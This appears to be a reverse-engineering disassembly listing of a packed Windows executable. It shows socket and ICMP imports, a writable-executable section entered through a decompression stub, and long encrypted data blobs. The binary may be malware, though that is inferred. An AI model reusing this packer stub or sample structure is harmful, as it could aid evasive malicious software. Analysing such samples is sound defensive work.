					; sub_4269A0+85w
		dd 2828h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_446EFCo
		dd 0EB85h dup(0)
dword_49005C	dd 0BD23h dup(0)		db 0
byte_4BF4E9	db 3 dup(0)		; DATA XREF: ___:off_402027o
		dd 53D8h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_445314o
		dd 0ECEh dup(0)
		db 3 dup(0)
dword_4D7F8B	dd 0							; sub_426BD0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D8075	db 3 dup(0)		; DATA XREF: sub_404C70+1Eo
					; sub_404CC0+65o ...
		dd 5 dup(0)
byte_4D808C	db 0			; DATA XREF: sub_404CC0+292w
					; sub_404CC0+4EBw
dword_4D808D	dd 0							; sub_422B40:loc_4232C4r ...
		align 4
		dd 0
		db 0
dword_4D8099	dd 0							; sub_404C70+2Aw
byte_4D809D	db 3 dup(0)		; DATA XREF: ___:00412FC4o
					; ___:00412FE7o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D80C7	dd 0							; sub_428DC0:loc_428EB7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D818B	db 0			; DATA XREF: sub_426B60+16o
					; sub_426B90+19o
		db 3 dup(0)
byte_4D818F	db 0			; DATA XREF: sub_426A90+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D834F	db 0			; DATA XREF: ___:00408295o
					; ___:00408726o ...
		dd 8 dup(0)
dword_4D8370	dd 0				dd 51h dup(0)
		db 0
byte_4D84B9	db 0			; DATA XREF: sub_427B10:loc_427BC0r
					; sub_427FD0:loc_428085r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D8735	dd 0							; sub_427FD0+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4E02A5	db 3 dup(0)		; DATA XREF: ___:00419F93o
					; sub_41A050+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E7D8F	db 0			; DATA XREF: sub_427D50+1Do
		dd 21h dup(0)
		db 0
byte_4E7E15	db 3 dup(0)		; DATA XREF: ___:00419FA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E86EF	db 0			; DATA XREF: sub_427D50+2Fo
		dd 1D5h	dup(0)
byte_4E8E44	db 0			; DATA XREF: sub_404CC0+299w
					; sub_410030:loc_410072r ...
byte_4E8E45	db 3 dup(0)		; DATA XREF: sub_404CC0+235o
					; sub_404CC0+874o ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E8E5A	dw 0			; DATA XREF: sub_404CC0+2D4o
					; ___:0040873Ao ...
		dd 0Fh dup(0)
		db 0
byte_4E8E99	db 0			; DATA XREF: sub_41F960+31w
					; sub_41F960+47w ...
		db 0
byte_4E8E9B	db 0			; DATA XREF: sub_418590+21o
					; sub_41D930+341o ...
		dd 0EE2h dup(0)
dword_4ECA24	dd 20FBh dup(0)	dword_4F4E10	dd 3D51h dup(0)	dword_504354	dd 12B6h dup(0)	dword_508E2C	dd 1000h dup(0)						; ___:00419B9Do ...
dword_50CE2C	dd 333h	dup(0)						; ___:00419BB8o ...
dword_50DAF8	dd 0							; sub_41A110+1Br ...
		dd 3 dup(0)
dword_50DB08	dd 0							; ___:0041FC3Dw ...
dword_50DB0C	dd 0							; sub_41FB90+2Aw ...
dword_50DB10	dd 0		dword_50DB14	dd 0							; ___:0041FC5Bw
dword_50DB18	dd 0		dword_50DB1C	dd 0							; ___:0041FC67w ...
dword_50DB20	dd 0							; ___:0041FC6Dw ...
dword_50DB24	dd 0							; ___:00420EA9o
dword_50DB28	dd 0							; sub_41FB90:loc_41FBB4r ...
dword_50DB2C	dd 0							; ___:0041FC81w
dword_50DB30	dd 0							; sub_420630+41w ...
dword_50DB34	dd 0							; sub_420630+7Fr
dword_50DB38	dd 0							; sub_420630+92r ...
dword_50DB3C	dd 0							; sub_420630+148r
		dd 3 dup(0)
dword_50DB4C	dd 0							; ___:0041C2A5o
dword_50DB50	dd 0							; sub_423820+5r ...
dword_50DB54	dd 0							; ___:00423FABr ...
		dd 7CEh	dup(0)
dword_50FA90	dd 6 dup(0)						; ___:00423EAFo ...
dword_50FAA8	dd 196h	dup(0)						; sub_423760+6Do
dword_510100	dd 0		word_510104	dw 0			; DATA XREF: sub_424F70+A9r
		align 4
word_510108	dw 0			; DATA XREF: sub_4253C0+45r
					; sub_4257F0+DAr
		align 4
dword_51010C	dd 0				dd 0
byte_510114	db 0			; DATA XREF: sub_4267D0:loc_426830r
					; sub_4267D0+97w
		align 4
dword_510118	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_427B10+D9r
dword_51011C	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_427B10+45r
dword_510120	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_427B10+54r ...
		align 8
dword_510128	dd 80h dup(0)						; sub_427D50+129o
dword_510328	dd 0		dword_51032C	dd 0				dd 1Dh dup(0)
dword_5103A4	dd 0							; ___:0042C40Dr ...
dword_5103A8	dd 0							; sub_42DE00:loc_42DE96r ...
dword_5103AC	dd 0		; resolved to->WS2_32.connect					; sub_432570+2Dr ...
dword_5103B0	dd 0		dword_5103B4	dd 0							; sub_431560r ...
dword_5103B8	dd 0		dword_5103BC	dd 0							; sub_4309A0+111w ...
dword_5103C0	dd 0							; sub_4309A0+F6r ...
dword_5103C4	dd 0							; ___:loc_4316A0r
dword_5103C8	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_4322D0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Ah	dup(0)
dword_5108C0	dd 10h dup(0)						; sub_431470:loc_4314A0o ...
dword_510900	dd 8 dup(0)						; sub_430830+25o ...
dword_510920	dd 8 dup(0)						; sub_431980+25o ...
dword_510940	dd 8 dup(0)						; sub_432850+84o ...
dword_510960	dd 8 dup(0)						; sub_432850+8Bo ...
dword_510980	dd 9 dup(0)						; sub_4309A0:loc_430AB7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh, 192h dup(0)
		dd 5 dup(7BEC9A8Ah), 5 dup(1451FF68h), 5 dup(49F7A5D4h)
		dd 5 dup(2543E9DCh), 5 dup(56ACA8E5h), 5 dup(6659468Eh)
		dd 5 dup(67D9BD9Eh), 5 dup(472EA8FBh), 5 dup(2BAA0349h)
		dd 5 dup(4335B3C7h), 5 dup(6D755876h), 1Eh dup(0)
		dd 6659468Eh, 10h dup(0)
aVxum		db 'vXum',0
		align 10h
		dd 58h dup(0)
		dd 2543E9DCh, 1Ch dup(0)
		dd 2BAA0349h, 14h dup(0)
		dd 1451FF68h, 52h dup(0)
		dd 7BEC9A8Ah, 1Bh dup(0)
		dd 4335B3C7h, 0Bh dup(0)
		dd 67D9BD9Eh, 0Ch dup(0)
		dd 56ACA8E5h, 2Bh dup(0)
		dd 472EA8FBh, 11h dup(0)
		dd 49F7A5D4h, 0Ah dup(0)
		dd 28C0B27h, 28D0000h, 28E0000h
dword_511718	dd 28E1563h			dd 28E17BDh
dword_511720	dd 28E1997h			dd 28E1D28h, 28F0000h
dword_51172C	dd 2900000h			dd 2910000h, 29103D6h, 2910790h, 2910BA8h
dword_511740	dd 2920000h						; sub_40E870+25Ar ...
dword_511744	dd 29204F9h	dword_511748	dd 2920815h			dd 2920993h, 2920CE6h
dword_511754	dd 2930000h						; sub_40EE40+15Er ...
		dd 29302C6h
dword_51175C	dd 2940000h						; sub_40E870+22Cr
		dd 2940DFCh
dword_511764	dd 2950000h						; sub_4208E0+285r ...
		dd 2960000h
dword_51176C	dd 2961101h						; sub_40E870+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
dword_5117E0	dd 2720000h						; sub_420630+FEr
		dd 2730000h, 2740000h, 2740730h, 27408C6h, 2740C49h, 2740E31h
		dd 2750000h, 27507C8h, 2750B0Eh, 2760000h, 27601DAh, 2760844h
		dd 2760884h, 2760C14h, 2770000h, 277035Ch, 2770760h, 277090Bh
		dd 2770C9Ah, 2780000h, 27805BDh, 278065Eh, 27809B8h, 2780B37h
		dd 2790000h, 27902E2h, 27904E2h, 2790664h, 2790766h, 279092Ah
		dd 27909D3h, 27A0000h
dword_511864	dd 27A0721h	dword_511868	dd 27A0DFAh	dword_51186C	dd 27B0000h			dd 7C901005h, 7C9010EDh, 27B0284h, 27B02DCh, 27B02F0h
		dd 27B043Dh, 27C0000h, 27C03F4h, 27C07F6h, 27D0000h, 27E0000h
		dd 27E098Ch, 27F0000h, 2800000h, 2800886h
dword_5118AC	dd 2800BE7h						; sub_410030+47r ...
		dd 2800C66h, 2810000h, 28104BCh, 2820000h, 282110Eh, 2830000h
		dd 2840000h
dword_5118CC	dd 2841750h			dd 2841939h, 2850000h
dword_5118D8	dd 28502B8h						; sub_41B5B0+2Fr ...
		dd 2850405h
dword_5118E0	dd 2860000h						; sub_4204D0+2Er ...
		dd 286041Fh, 2870000h, 2870B6Fh
dword_5118F0	dd 2880000h			dd 2880291h, 2890000h, 28A0000h, 28A1106h, 28A1D26h, 28B0000h
		dd 28B05C0h, 28B0A53h, 28B0B30h
dword_511918	dd 28C0000h						; sub_420630:loc_42067Cr ...
		dd 1Ah dup(0)
		dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh	dup(0)
		dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh
dword_5119E0	dd 760AC190h			dd 0Dh dup(0)
; ---------------------------------------------------------------------------
		xchg	eax, esp
		pop	esp
		retn
; ---------------------------------------------------------------------------
		ja	short loc_511A99
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 0DBh	; Û
		db 0F1h	; ñ
		db 0C1h	; Á
		db  77h	; w
; ---------------------------------------------------------------------------


loc_511A24:				; CODE XREF: ___:00511A34j
		movsb
		icebp
		sal	dword ptr [edi-28h], 23h
		mov	byte ptr [edi+75h], 0D6h
		les	esi, [edi+67h]
		popf
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		jmp	short loc_511A24
; ---------------------------------------------------------------------------
		sal	dword ptr [edi-54h], 17h
		mov	byte ptr [edi-52h], 2Dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h
		dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh
		dd 77C4186Ah
dword_511A6C	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42E5B0+53r ...
dword_511A70	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h
dword_511A7C	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h
dword_511A8C	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_511A90	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42DE00+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 72h
; ---------------------------------------------------------------------------


loc_511A99:				; CODE XREF: ___:00511A1Bj
		sbb	eax, esp
; ---------------------------------------------------------------------------
		db 77h
dword_511A9C	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_511AA0	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_511AA4	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_511AA8	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_511AAC	dd 77C41574h	; resolved to->MSVCRT.ftelldword_511AB0	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_511AB8	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C3DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_511AC8	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41BA50+17Er ...
		dd 77C371BCh
dword_511AD0	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42F2C0+34r ...
		dd 77C2C407h
dword_511AD8	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_511AE0	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42DE00+90r
dword_511AE4	dd 77C3FA76h	; resolved to->MSVCRT._snprintf					; sub_426070+C8r ...
		db 90h
		db 0CFh, 0C1h, 77h
dword_511AEC	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_511B00	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BD90+5Dr
dword_511B04	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_410030+1126r ...
dword_511B08	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419CDAr
		dd 77C29CDDh, 77C293C7h
dword_511B14	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422B40+203r ...
		dd 77C35F0Dh
dword_511B1C	dd 77C5F988h	; resolved to->MSVCRT._pctype		dd 77C46170h, 77C1C561h, 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 28C0795h
off_511C00	dd offset sub_5FADE9	; DATA XREF: ___:00419FBDr
					; sub_41A050+2Dr ...
		dd 0Bh dup(0)
		dd 71AB951Eh, 71AB3E00h
dword_511C38	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425100:loc_4251B2r ...
dword_511C3C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42B8E0:loc_42B99Br
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_511C50	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AC0B50h
dword_511C5C	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB2BC0h
dword_511C64	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_511C68	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42B8E0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh, 71AB4FD4h
dword_511C88	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB88D3h, 71AB2BC0h
dword_511C94	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A7D0+48r ...
dword_511C98	dd 71AC1028h	; resolved to->WS2_32.acceptdword_511C9C	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F960+198r ...
dword_511CA0	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004217E1r ...
dword_511CA4	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4253C0+8Br ...
		dd 71AB2BF4h
dword_511CAC	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42C830+E8r
		dd 71ABE479h, 11h dup(0)
		dd 76D6AC1Dh, 4C1h dup(0)
___		ends

; Section 2. (virtual address 00113000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 513000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00114000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00114000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 514000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Ïe',9,']',0
		align 10h
		dd 114050h, 114000h, 3 dup(0)
		dd 114079h, 11400Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00115000)
; Virtual size			: 0011E000 (1171456.)
; Section size in file		: 0011E000 (1171456.)
; Offset to raw	data for section: 00115000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
sdfs____	segment	para public 'CODE' use32
		assume cs:sdfs____
		;org 515000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 0D970FBCFh, 40D66h, 5F820h, 15A172h,	0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 00515265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00583DBA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00587353 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 005875C9 SIZE 000000E9 BYTES
; FUNCTION CHUNK AT 005876E8 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00587723 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00587738 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058775B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00587764 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00587783 SIZE 00000017 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_515086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_515041
		popa
		jmp	short loc_515076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh
; ---------------------------------------------------------------------------
		inc	eax


loc_515041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51504E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51506D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_515074


loc_51506D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_51504E
; ---------------------------------------------------------------------------


loc_515074:				; CODE XREF: start+57j
		mov	edi, eax


loc_515076:				; CODE XREF: start+1Bj
		jmp	loc_515265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 11526Ah
		add	ecx, edi
		jmp	short loc_515090
; ---------------------------------------------------------------------------


loc_515086:				; CODE XREF: start+8j
		mov	eax, offset loc_583DBA
		mov	ecx, offset word_51526A


loc_515090:				; CODE XREF: start+70j
		push	eax
		push	ecx
		call	sub_51511B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_515265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51511B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_515127:				; CODE XREF: sub_51511B:loc_51513Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_515132:				; CODE XREF: sub_51511B+7Aj
					; sub_51511B+C3j ...
		add	dl, dl
		jnz	short loc_51513B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51513B:				; CODE XREF: sub_51511B+19j
		jnb	short loc_515127
		add	dl, dl
		jnz	short loc_515146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515146:				; CODE XREF: sub_51511B+24j
		jnb	short loc_515197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_515153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515153:				; CODE XREF: sub_51511B+31j
		jnb	loc_515238
		add	dl, dl
		jnz	short loc_515162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515162:				; CODE XREF: sub_51511B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51516D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51516D:				; CODE XREF: sub_51511B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515178:				; CODE XREF: sub_51511B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515183:				; CODE XREF: sub_51511B+61j
		adc	eax, eax
		jz	short loc_51518D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51518D:				; CODE XREF: sub_51511B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_515132
; ---------------------------------------------------------------------------


loc_515197:				; CODE XREF: sub_51511B:loc_515146j
		mov	eax, 1


loc_51519C:				; CODE XREF: sub_51511B:loc_5151B0j
		add	dl, dl
		jnz	short loc_5151A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151A5:				; CODE XREF: sub_51511B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5151B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151B0:				; CODE XREF: sub_51511B+8Ej
		jb	short loc_51519C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5151E3
		mov	ecx, 1


loc_5151C0:				; CODE XREF: sub_51511B:loc_5151D4j
		add	dl, dl
		jnz	short loc_5151C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151C9:				; CODE XREF: sub_51511B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5151D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151D4:				; CODE XREF: sub_51511B+B2j
		jb	short loc_5151C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_5151E3:				; CODE XREF: sub_51511B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5151F1:				; CODE XREF: sub_51511B:loc_515205j
		add	dl, dl
		jnz	short loc_5151FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151FA:				; CODE XREF: sub_51511B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_515205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515205:				; CODE XREF: sub_51511B+E3j
		jb	short loc_5151F1
		cmp	eax, 7D00h
		jnb	short loc_515228
		cmp	eax, 500h
		jb	short loc_515223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515223:				; CODE XREF: sub_51511B+F8j
		cmp	eax, 7Fh
		ja	short loc_51522B


loc_515228:				; CODE XREF: sub_51511B+F1j
		add	ecx, 2


loc_51522B:				; CODE XREF: sub_51511B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515238:				; CODE XREF: sub_51511B:loc_515153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_515259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515259:				; CODE XREF: sub_51511B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51511B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_515265:				; CODE XREF: start:loc_515076j
					; start+9Dj
		jmp	loc_583DBA
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_51526A	dw 38E9h		; DATA XREF: start+77o
		dd 1533594h, 8733BCFFh,	0FFAE46B8h, 1AE19222h, 0FE101FCh
		dd 0F473B9FEh, 685400AFh, 64696D65h, 66778F61h,	1BE10311h
		dd 8B36FCBBh, 0F0A13B84h, 0F51DC204h, 73655240h, 72613974h
		dd 5E70419Ch, 38789F2Eh, 8E4EAB43h, 0A447AF44h,	0C47826EAh
		dd 716E7E75h, 0BFEB1103h, 0AE19822h, 2A7EFDAEh,	21F3BE60h
		dd 0DF850370h, 0FC582491h, 191FEAEh, 0E13522BEh, 22F2EE0Ah
		dd 0AB2A843Bh, 0C8C58BF1h, 0E87060D4h, 815D88h,	0E935A3EDh
		dd 71958907h, 0B50D0C61h, 85102F75h, 83800BA1h,	831DE2BDh
		dd 8B0C7480h, 0E22DE872h, 0C2C5A7B8h, 714470BCh, 0C53EC424h
		dd 456A0109h, 2983A3E8h, 83749A68h, 1DFA5E7h, 894B250Ah
		dd 10D5E90Ah, 0A50214E9h
		db 0ECh, 7Dh, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		lodsb
		out	dx, al
		add	al, 5Ah
		sub	edx, 8B003691h
		fcmovb	st, st(7)


loc_515351:				; CODE XREF: sdfs____:0051536Ej
		inc	ebp
		fcom	dword ptr [ecx+400EB108h]
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		repne cmp ebx, 49h
		adc	bh, bh
		xchg	dl, [edx]
		inc	ebx
		jmp	short loc_515351
; ---------------------------------------------------------------------------
		dd 61DC3736h, 0C2C94126h, 81464004h, 0FF687CC4h, 0DAE44902h
		dd 80458D40h, 8145D8Bh,	441985C7h, 0AA08D50h, 880AC3D1h
		dd 0B894118h, 6BD818Ah,	75295D20h, 8D4227E3h, 0C0648EBAh
		dd 0E8A8075h, 5BF449BBh, 37ABB800h, 0D0D37854h,	8C30FFCh
		dd 0B0F7754Bh, 5247C3AFh, 46464A46h, 2B42F92Ah,	0A08A61D1h
		dd 0FDF075D0h, 0FC45EE8Ah, 4EB0A4Dh, 468C3CADh,	0F7403E80h
		dd 6E84BA53h, 0C7D6134h, 3E907FEBh, 126DCCF8h, 0ECA84F0h
		dd 4A8110F4h, 4F065C1h,	0D1F8D640h, 0C20339E0h,	0DB332860h
		dd 301C1C8Ah, 72CCFB80h, 3D390A0Ah, 0EB3E0577h,	142267F2h
		dd 0A0DF661h, 86F667Fh,	0C34E5F1Eh, 1A10AC0Ah, 0B723041h
		dd 677460Ah, 18A224DEh,	0ECF05D01h, 7D7383F4h, 0B072021Bh
		dd 76C0370Ch, 26AA66A5h, 7CEF841h, 0A86A8Dh, 0FFC553Bh
		dd 0BDA97882h, 0BEAAC1B0h, 8BA5038h, 70E0B9E0h,	20BDFCA8h
		dd 1FE3840h, 7549470Fh,	0C522B9FAh, 1BBDC6Ah, 0F1125107h
		dd 26DEB82h, 0F868ED8h,	8EA39F9h, 360F65EEh, 8A3B77D1h
		dd 0F9E9C426h, 0BC675910h, 8C2C2201h, 5CF952D9h, 2861C3D8h
		dd 3138A10h, 0FB8C6753h, 46306260h, 0E881A8F1h,	70CBF863h
		dd 82670034h, 765B4E39h, 0B807100Fh, 0D1043D51h, 46643BC7h
		dd 2E097503h, 0E0111ABh, 65E4EC48h, 36400690h, 0C05C584h
		dd 3A0C968Eh, 0A8F53CCh, 8129C204h, 8205718Ch, 0A60EB7E7h
		dd 182BFF66h, 22047781h, 0C103341Dh, 7533F984h,	3FBC2020h
		dd 0EFEC0AEEh, 670230CEh, 8C13EC41h, 0FFCC3F7Fh, 459F4021h
		dd 0A060E9D4h, 152C462h, 11254D8Ch, 9B1AA82h, 845AAB9Ah
		dd 4C561311h, 82155ECCh, 408117EEh, 8A89D5EDh, 1344B9F5h
		dd 4397230Ah, 28BC50h, 8C1993A2h, 0DA8D67DBh, 23CC8200h
		dd 0BC2E76B3h, 5DDD3EEDh, 5E28183h, 410014EAh, 1BC316D9h
		dd 883233h, 22F3A5CAh, 0CCDE2DA9h, 65E85407h, 10D10BAAh
		dd 378C3A86h, 0E40B09EAh, 88F0A800h, 0D691328h,	6A8619C8h
		dd 4202C21Ch, 2A201517h, 2B2380h, 5649FE3Dh, 0BFE3669Ch
		dd 96829400h, 0F9BBFF13h, 9EEA557Dh, 7AB84940h,	0FB2CA45Ch
		dd 8A89B410h, 222718C8h, 452E004Bh, 0DEC40DACh,	26C43649h
